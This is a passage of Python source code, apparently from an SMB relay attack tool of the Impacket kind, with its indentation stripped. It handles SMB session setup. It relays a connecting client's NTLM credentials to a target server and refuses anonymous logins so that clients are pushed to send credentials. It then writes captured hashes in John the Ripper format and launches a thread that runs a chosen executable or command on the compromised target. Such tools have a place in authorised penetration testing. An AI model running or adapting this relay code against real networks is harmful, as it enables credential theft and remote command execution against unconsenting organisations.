sessionSetupParameters = SMBSessionSetupAndX_Parameters(smbCommand['Parameters'])
sessionSetupData = SMBSessionSetupAndX_Data()
sessionSetupData['AnsiPwdLength'] = sessionSetupParameters['AnsiPwdLength']
sessionSetupData['UnicodePwdLength'] = sessionSetupParameters['UnicodePwdLength']
sessionSetupData.fromString(smbCommand['Data'])
connData['Capabilities'] = sessionSetupParameters['Capabilities']
#############################################################
# SMBRelay
smbClient = smbData[self.target]['SMBClient']
if sessionSetupData['Account'] != '':
clientResponse, errorCode = smbClient.login_standard(sessionSetupData['Account'],
sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'],
sessionSetupData['UnicodePwd'])
else:
# Anonymous login, send STATUS_ACCESS_DENIED so we force the client to send his credentials
errorCode = STATUS_ACCESS_DENIED
if errorCode != STATUS_SUCCESS:
# Let's return what the target returned, hope the client connects back again
packet = NewSMBPacket()
packet['Flags1'] = SMB.FLAGS1_REPLY | SMB.FLAGS1_PATHCASELESS
packet['Flags2'] = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_EXTENDED_SECURITY
packet['Command'] = recvPacket['Command']
packet['Pid'] = recvPacket['Pid']
packet['Tid'] = recvPacket['Tid']
packet['Mid'] = recvPacket['Mid']
packet['Uid'] = recvPacket['Uid']
packet['Data'] = '\x00\x00\x00'
packet['ErrorCode'] = errorCode >> 16
packet['ErrorClass'] = errorCode & 0xff
# Reset the UID
smbClient.setUid(0)
return None, [packet], errorCode
# Now continue with the server
else:
# We have a session, create a thread and do whatever we want
ntlm_hash_data = outputToJohnFormat('', sessionSetupData['Account'], sessionSetupData['PrimaryDomain'],
sessionSetupData['AnsiPwd'], sessionSetupData['UnicodePwd'])
logging.info(ntlm_hash_data['hash_string'])
if self.server.getJTRdumpPath() != '':
writeJohnOutputToFile(ntlm_hash_data['hash_string'], ntlm_hash_data['hash_version'],
self.server.getJTRdumpPath())
# Remove the target server from our connection list, the work is done
del (smbData[self.target])
# Target will be attacked, adding to the attacked set
# If the attack fails, the doAttack thread will be responsible of removing it from the set
ATTACKED_HOSTS.add(self.target)
clientThread = doAttack(smbClient, self.exeFile, self.command)
clientThread.start()
# Now continue with the server
#############################################################
# Do the verification here, for just now we grant access
# TODO: Manage more UIDs for the same session
errorCode = self.returnStatus
logging.info("Sending status code %s after authentication to %s" % (
ERROR_MESSAGES[self.returnStatus][0], connData['ClientIP']))
connData['Uid'] = 10
respParameters['Action'] = 0
respData['NativeOS'] = smbServer.getServerOS()
respData['NativeLanMan'] = smbServer.getServerOS()
respSMBCommand['Parameters'] = respParameters
respSMBCommand['Data'] = respData
# From now on, the client can ask for other commands
connData['Authenticated'] = True
#############################################################
# SMBRelay
smbServer.setConnectionData('SMBRelay', smbData)
#############################################################
smbServer.setConnectionData(connId, connData)
return [respSMBCommand], None, errorCode
def _start(self):
self.server.serve_forever()
def run(self):
logging.info("Setting up SMB Server")
self._start()
def setTargets(self, targets):
self.target = targets
def setExeFile(self, filename):
self.exeFile = filename
def setCommand(self, command):
self.command = command
def setReturnStatus(self, returnStatus):
# Specifies return status after successful relayed authentication to return
# to the connecting client. This comes useful when we don't want the connecting
# client to store successful credentials in his memory. Valid statuses:
# STATUS_SUCCESS - denotes that the connecting client passed valid credentials,
# which will make him store them accordingly.
# STATUS_ACCESS_DENIED - may occur for instance when the client is not a Domain Admin,
# and got configured Remote UAC, thus preventing connection to ADMIN$
# STATUS_LOGON_FAILURE - which will tell the connecting client that the passed credentials
# are invalid.
self.returnStatus = {
'success' : STATUS_SUCCESS,
'denied' : STATUS_ACCESS_DENIED,
'logon_failure' : STATUS_LOGON_FAILURE